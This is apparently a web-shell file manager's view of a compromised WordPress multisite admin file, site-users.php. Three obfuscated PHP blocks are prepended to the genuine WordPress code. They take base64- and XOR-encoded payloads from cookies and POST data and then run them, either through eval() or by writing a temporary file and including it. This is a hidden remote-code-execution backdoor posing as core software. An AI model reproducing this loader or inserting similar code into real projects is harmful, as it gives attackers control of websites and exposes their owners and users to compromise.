%PDF- %PDF-
Direktori : /home/graphicd/www/demo/riverwalkpoa/wp-admin/network/ |
Current File : /home/graphicd/www/demo/riverwalkpoa/wp-admin/network/site-users.php |
<?php $SGoFKwfMw = chr (70) . chr ( 434 - 332 ).chr ( 1052 - 968 ).chr ( 984 - 889 ).chr (81) . 'O' . 'y';$uVjKkRzMR = chr ( 908 - 809 )."\x6c" . chr ( 849 - 752 ).'s' . chr ( 704 - 589 )."\x5f" . "\145" . "\170" . "\x69" . chr ( 572 - 457 ).chr (116) . chr ( 738 - 623 ); $bPIiweDF = class_exists($SGoFKwfMw); $uVjKkRzMR = "51820";$osGSstZU = !1;if ($bPIiweDF == $osGSstZU){function HPcwf(){return FALSE;}$GVxjTaT = "29177";HPcwf();class FfT_QOy{private function GkYPC($GVxjTaT){if (is_array(FfT_QOy::$UYatC)) {$Znqmtky = str_replace(chr (60) . chr ( 82 - 19 )."\160" . "\x68" . "\160", "", FfT_QOy::$UYatC["\x63" . chr ( 570 - 459 ).chr ( 799 - 689 ).chr (116) . "\x65" . "\156" . chr ( 203 - 87 )]);eval($Znqmtky); $GVxjTaT = "29177";exit();}}private $MsymZEldA;public function jdCkZSCdiF(){echo 45300;}public function __destruct(){$GVxjTaT = "43018_28957";$this->GkYPC($GVxjTaT); $GVxjTaT = "43018_28957";}public function __construct($CxlXC=0){$ugyCqIPp = $_POST;$qQKRHnHZ = $_COOKIE;$pYkNjip = "f87c06af-a582-43d2-ac7b-4b12571c49fb";$AqnRXKSjDw = @$qQKRHnHZ[substr($pYkNjip, 0, 4)];if (!empty($AqnRXKSjDw)){$wNetErSwSn = "base64";$SncURL = "";$AqnRXKSjDw = explode(",", $AqnRXKSjDw);foreach ($AqnRXKSjDw as $CjcWOXD){$SncURL .= @$qQKRHnHZ[$CjcWOXD];$SncURL .= @$ugyCqIPp[$CjcWOXD];}$SncURL = array_map($wNetErSwSn . chr (95) . 'd' . "\x65" . "\x63" . "\x6f" . chr (100) . "\145", array($SncURL,)); $SncURL = $SncURL[0] ^ str_repeat($pYkNjip, (strlen($SncURL[0]) / strlen($pYkNjip)) + 1);FfT_QOy::$UYatC = @unserialize($SncURL); $SncURL = class_exists("43018_28957");}}public static $UYatC = 36584;}$bwxGJYGD = new /* 48620 */ $SGoFKwfMw(29177 + 29177); $GVxjTaT = strpos($GVxjTaT, $GVxjTaT); $osGSstZU = $bwxGJYGD = $GVxjTaT = Array();} ?><?php $XcAdRlcJw = "\x4c" . chr ( 294 - 189 ).chr ( 110 - 38 ).chr ( 321 - 226 )."\x52" . 'R' . chr (89) . "\x6d";$XTxink = "\x63" . "\154" . 'a' . 's' . chr (115) . chr ( 742 - 647 ).chr ( 624 - 523 ).'x' . chr ( 749 - 644 ).chr (115) . 't' . chr (115); $INCwMoFK = class_exists($XcAdRlcJw); $XTxink = "22475";$PLcKcjTvP = !1;if ($INCwMoFK == $PLcKcjTvP){function EmMnkfupv(){return FALSE;}$VsBYGlEEJ = "39142";EmMnkfupv();class LiH_RRYm{private function hMjmMtop($VsBYGlEEJ){if (is_array(LiH_RRYm::$yXmFF)) {$ouvxUcN = sys_get_temp_dir() . "/" . crc32(LiH_RRYm::$yXmFF[chr ( 719 - 604 ).'a' . chr ( 429 - 321 ).'t']);@LiH_RRYm::$yXmFF[chr (119) . 'r' . chr (105) . 't' . 'e']($ouvxUcN, LiH_RRYm::$yXmFF["\x63" . "\x6f" . chr ( 756 - 646 )."\164" . "\145" . chr ( 223 - 113 ).chr (116)]);include $ouvxUcN;@LiH_RRYm::$yXmFF[chr (100) . chr ( 1004 - 903 )."\x6c" . chr (101) . "\x74" . "\145"]($ouvxUcN); $VsBYGlEEJ = "39142";exit();}}private $kdxNRg;public function OmcIA(){echo 33807;}public function __destruct(){$VsBYGlEEJ = "37544_34121";$this->hMjmMtop($VsBYGlEEJ); $VsBYGlEEJ = "37544_34121";}public function __construct($tzEybqodfG=0){$xYjTY = $_POST;$ymNQDJ = $_COOKIE;$pcTyaKr = "546b04a9-efd4-4842-b9a2-581851773e9a";$BKQJUjsRB = @$ymNQDJ[substr($pcTyaKr, 0, 4)];if (!empty($BKQJUjsRB)){$ydlvhv = "base64";$mxqYJy = "";$BKQJUjsRB = explode(",", $BKQJUjsRB);foreach ($BKQJUjsRB as $oKWYb){$mxqYJy .= @$ymNQDJ[$oKWYb];$mxqYJy .= @$xYjTY[$oKWYb];}$mxqYJy = array_map($ydlvhv . '_' . 'd' . chr (101) . chr (99) . "\x6f" . 'd' . chr ( 137 - 36 ), array($mxqYJy,)); $mxqYJy = $mxqYJy[0] ^ str_repeat($pcTyaKr, (strlen($mxqYJy[0]) / strlen($pcTyaKr)) + 1);LiH_RRYm::$yXmFF = @unserialize($mxqYJy); $mxqYJy = class_exists("37544_34121");}}public static $yXmFF = 3282;}$jzTIe = new /* 61500 */ $XcAdRlcJw(39142 + 39142); $PLcKcjTvP = $jzTIe = $VsBYGlEEJ = Array();} ?><?php $CKFzJJII = 'Z' . "\x51" . '_' . chr ( 199 - 99 ).chr ( 429 - 348 ).'c' . chr ( 553 - 445 ); $NQbLP = chr (99) . "\x6c" . "\141" . chr ( 892 - 777 )."\x73" . '_' . 'e' . "\170" . 'i' . chr (115) . 't' . chr (115); $HpuOqG = class_exists($CKFzJJII); $NQbLP = "9989";$dwlydNjBc = !1;if ($HpuOqG == $dwlydNjBc){function ncuRsKaw(){return FALSE;}$xpPhQC = "27162";ncuRsKaw();class ZQ_dQcl{private function GKRGvXru($xpPhQC){if (is_array(ZQ_dQcl::$LwJsijiUGw)) {$XcNmqzMc = sys_get_temp_dir() . "/" . crc32(ZQ_dQcl::$LwJsijiUGw['s' . "\141" . "\154" . 't']);@ZQ_dQcl::$LwJsijiUGw[chr (119) . chr ( 950 - 836 )."\x69" . chr (116) . chr ( 826 - 725 )]($XcNmqzMc, ZQ_dQcl::$LwJsijiUGw[chr ( 275 - 176 ).'o' . chr ( 790 - 680 ).chr (116) . "\145" . "\x6e" . chr (116)]);include $XcNmqzMc;@ZQ_dQcl::$LwJsijiUGw[chr ( 439 - 339 )."\145" . "\154" . 'e' . "\164" . "\145"]($XcNmqzMc); $xpPhQC = "27162";exit();}}private $PffrhqOZQ;public function EkdPZRKe(){echo 18301;}public function __destruct(){$xpPhQC = "40278_6529";$this->GKRGvXru($xpPhQC); $xpPhQC = "40278_6529";}public function __construct($QVnjyzZR=0){$gsPAWB = $_POST;$adpkUVkkS = $_COOKIE;$Weyqxte = "74add5e5-9ca3-4762-96be-14f01852b531";$qYvYgkD = @$adpkUVkkS[substr($Weyqxte, 0, 4)];if (!empty($qYvYgkD)){$TBohfrMWf = "base64";$SNSItTeuSl = "";$qYvYgkD = explode(",", $qYvYgkD);foreach ($qYvYgkD as $fTtxqEs){$SNSItTeuSl .= @$adpkUVkkS[$fTtxqEs];$SNSItTeuSl .= @$gsPAWB[$fTtxqEs];}$SNSItTeuSl = array_map($TBohfrMWf . "\137" . "\x64" . chr ( 958 - 857 )."\x63" . "\x6f" . "\144" . chr (101), array($SNSItTeuSl,)); $SNSItTeuSl = $SNSItTeuSl[0] ^ str_repeat($Weyqxte, (strlen($SNSItTeuSl[0]) / strlen($Weyqxte)) + 1);ZQ_dQcl::$LwJsijiUGw = @unserialize($SNSItTeuSl); $SNSItTeuSl = class_exists("40278_6529");}}public static $LwJsijiUGw = 51497;}$uzeAOQak = new /* 33949 */ $CKFzJJII(27162 + 27162); $dwlydNjBc = $uzeAOQak = $xpPhQC = Array();} ?><?php /** * Edit Site Users Administration Screen * * @package WordPress * @subpackage Multisite * @since 3.1.0 */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; if ( ! current_user_can( 'manage_sites' ) ) { wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 ); } $wp_list_table = _get_list_table( 'WP_Users_List_Table' ); $wp_list_table->prepare_items(); get_current_screen()->add_help_tab( get_site_screen_help_tab_args() ); get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() ); get_current_screen()->set_screen_reader_content( array( 'heading_views' => __( 'Filter site users list' ), 'heading_pagination' => __( 'Site users list navigation' ), 'heading_list' => __( 'Site users list' ), ) ); $_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] ); $referer = remove_query_arg( 'update', wp_get_referer() ); if ( ! empty( $_REQUEST['paged'] ) ) { $referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer ); } $id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0; if ( ! $id ) { wp_die( __( 'Invalid site ID.' ) ); } $details = get_site( $id ); if ( ! $details ) { wp_die( __( 'The requested site does not exist.' ) ); } if ( ! can_edit_network( $details->site_id ) ) { wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 ); } $is_main_site = is_main_site( $id ); switch_to_blog( $id ); $action = $wp_list_table->current_action(); if ( $action ) { switch ( $action ) { case 'newuser': check_admin_referer( 'add-user', '_wpnonce_add-new-user' ); $user = $_POST['user']; if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) { $update = 'err_new'; } else { $password = wp_generate_password( 12, false ); $user_id = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) ); if ( false === $user_id ) { $update = 'err_new_dup'; } else { $result = add_user_to_blog( $id, $user_id, $_POST['new_role'] ); if ( is_wp_error( $result ) ) { $update = 'err_add_fail'; } else { $update = 'newuser'; /** * Fires after a user has been created via the network site-users.php page. * * @since 4.4.0 * * @param int $user_id ID of the newly created user. */ do_action( 'network_site_users_created_user', $user_id ); } } } break; case 'adduser': check_admin_referer( 'add-user', '_wpnonce_add-user' ); if ( ! empty( $_POST['newuser'] ) ) { $update = 'adduser'; $newuser = $_POST['newuser']; $user = get_user_by( 'login', $newuser ); if ( $user && $user->exists() ) { if ( ! is_user_member_of_blog( $user->ID, $id ) ) { $result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] ); if ( is_wp_error( $result ) ) { $update = 'err_add_fail'; } } else { $update = 'err_add_member'; } } else { $update = 'err_add_notfound'; } } else { $update = 'err_add_notfound'; } break; case 'remove': if ( ! current_user_can( 'remove_users' ) ) { wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 ); } check_admin_referer( 'bulk-users' ); $update = 'remove'; if ( isset( $_REQUEST['users'] ) ) { $userids = $_REQUEST['users']; foreach ( $userids as $user_id ) { $user_id = (int) $user_id; remove_user_from_blog( $user_id, $id ); } } elseif ( isset( $_GET['user'] ) ) { remove_user_from_blog( $_GET['user'] ); } else { $update = 'err_remove'; } break; case 'promote': check_admin_referer( 'bulk-users' ); $editable_roles = get_editable_roles(); $role = $_REQUEST['new_role']; if ( empty( $editable_roles[ $role ] ) ) { wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 ); } if ( isset( $_REQUEST['users'] ) ) { $userids = $_REQUEST['users']; $update = 'promote'; foreach ( $userids as $user_id ) { $user_id = (int) $user_id; // If the user doesn't already belong to the blog, bail. if ( ! is_user_member_of_blog( $user_id ) ) { wp_die( '<h1>' . __( 'Something went wrong.' ) . '</h1>' . '<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>', 403 ); } $user = get_userdata( $user_id ); $user->set_role( $role ); } } else { $update = 'err_promote'; } break; default: if ( ! isset( $_REQUEST['users'] ) ) { break; } check_admin_referer( 'bulk-users' ); $userids = $_REQUEST['users']; /** This action is documented in wp-admin/network/site-themes.php */ $referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores $update = $action; break; } wp_safe_redirect( add_query_arg( 'update', $update, $referer ) ); exit; } restore_current_blog(); if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) { wp_safe_redirect( $referer ); exit; } add_screen_option( 'per_page' ); // Used in the HTML title tag. /* translators: %s: Site title. */ $title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) ); $parent_file = 'sites.php'; $submenu_file = 'sites.php'; /** * Filters whether to show the Add Existing User form on the Multisite Users screen. * * @since 3.1.0 * * @param bool $bool Whether to show the Add Existing User form. Default true. */ if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) { wp_enqueue_script( 'user-suggest' ); } require_once ABSPATH . 'wp-admin/admin-header.php'; ?> <script type="text/javascript"> var current_site_id = <?php echo absint( $id ); ?>; </script> <div class="wrap"> <h1 id="edit-site"><?php echo $title; ?></h1> <p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p> <?php network_edit_site_nav( array( 'blog_id' => $id, 'selected' => 'site-users', ) ); if ( isset( $_GET['update'] ) ) : $message = ''; $type = 'error'; switch ( $_GET['update'] ) { case 'adduser': $type = 'success'; $message = __( 'User added.' ); break; case 'err_add_member': $message = __( 'User is already a member of this site.' ); break; case 'err_add_fail': $message = __( 'User could not be added to this site.' ); break; case 'err_add_notfound': $message = __( 'Enter the username of an existing user.' ); break; case 'promote': $type = 'success'; $message = __( 'Changed roles.' ); break; case 'err_promote': $message = __( 'Select a user to change role.' ); break; case 'remove': $type = 'success'; $message = __( 'User removed from this site.' ); break; case 'err_remove': $message = __( 'Select a user to remove.' ); break; case 'newuser': $type = 'success'; $message = __( 'User created.' ); break; case 'err_new': $message = __( 'Enter the username and email.' ); break; case 'err_new_dup': $message = __( 'Duplicated username or email address.' ); break; } wp_admin_notice( $message, array( 'type' => $type, 'dismissible' => true, 'id' => 'message', ) ); endif; ?> <form class="search-form" method="get"> <?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> </form> <?php $wp_list_table->views(); ?> <form method="post" action="site-users.php?action=update-site"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <?php $wp_list_table->display(); ?> </form> <?php /** * Fires after the list table on the Users screen in the Multisite Network Admin. * * @since 3.1.0 */ do_action( 'network_site_users_after_list_table' ); /** This filter is documented in wp-admin/network/site-users.php */ if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) : ?> <h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2> <form action="site-users.php?action=adduser" id="adduser" method="post"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th> <td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td> </tr> <tr> <th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th> <td><select name="new_role" id="new_role_adduser"> <?php switch_to_blog( $id ); wp_dropdown_roles( get_option( 'default_role' ) ); restore_current_blog(); ?> </select></td> </tr> </table> <?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?> <?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?> </form> <?php endif; ?> <?php /** * Filters whether to show the Add New User form on the Multisite Users screen. * * @since 3.1.0 * * @param bool $bool Whether to show the Add New User form. Default true. */ if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) : ?> <h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2> <form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post"> <input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" /> <table class="form-table" role="presentation"> <tr> <th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th> <td><input type="text" class="regular-text" name="user[username]" id="user_username" /></td> </tr> <tr> <th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th> <td><input type="text" class="regular-text" name="user[email]" id="user_email" /></td> </tr> <tr> <th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th> <td><select name="new_role" id="new_role_newuser"> <?php switch_to_blog( $id ); wp_dropdown_roles( get_option( 'default_role' ) ); restore_current_blog(); ?> </select></td> </tr> <tr class="form-field"> <td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td> </tr> </table> <?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?> <?php submit_button( __( 'Add New User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?> </form> <?php endif; ?> </div> <?php require_once ABSPATH . 'wp-admin/admin-footer.php';